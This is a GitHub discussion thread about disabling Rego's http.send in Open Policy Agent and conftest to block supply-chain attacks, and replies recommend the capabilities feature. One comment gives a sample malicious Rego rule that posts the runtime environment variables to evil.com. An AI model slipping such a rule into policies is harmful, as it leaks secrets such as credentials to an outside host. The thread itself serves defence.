Possible to disable certain Rego APIs when applying policies? #155
Replies: 5 comments
-
Are we talking about a publically exposed deployment where users are free to submit their own policies for evaluation? Again, if we are talking about a publically exposed OPA—the norm being to run OPA in a sidecar or on the same host as the app, an only exposing OPA on the localhost interface—one way to limit what a client can do is to use OPA's built-in means for authentication and authorization, which will allow you to say something like "only allow requests to /v1/data/policy/allow` with a valid token". If you have some particular cases in mind, I'd be happy to take a look! |
Beta Was this translation helpful? Give feedback.
-
The capabilities feature might also come in handy for this purpose. |
Beta Was this translation helpful? Give feedback.
-
I'm thinking of a victim using a set of policies supplied by a third-party. So if a policy included the following malicious rule: package main
deny {
request := {
"url": "https://evil.com:9999",
"method": "POST",
"body": opa.runtime().env,
}
response := http.send(request)
} ...and the victim ran Capabilities looks perfect as a solution to this, perhaps it'd be an idea to add the option to |
Beta Was this translation helpful? Give feedback.
-
Right, the capabilities feature is there to address such concerns 🙂 Since some release back you can even have some hosts/URLs in an allowlist, so you don't need to discard If you want to cover some more esoteric alternatives in your blog, another option would be to use Rego itself to parse and verify the policies before they're passed to something like conftest. I wrote about doing that for the purpose of linting some time back, but it could just as well be used for something like this. As for conftest, I filing an issue for capabilities support, or at least a way to block/limit |
Beta Was this translation helpful? Give feedback.
-
we have now capabilities feature on both |
Beta Was this translation helpful? Give feedback.
-
I'm writing about supply-chain attacks at the moment, and can see a case where the HTTP API could be abused to leak env vars, input documents etc.
Is it possible to disable certain APIs to prevent this vector?
Should this be done via the Go API, or should it also be a user decision where somebody could import a package to disable the APIs via Rego?
If this isn't possible today, and it's seen as desirable, I'd be happy to try to knock a PR together.
Beta Was this translation helpful? Give feedback.
All reactions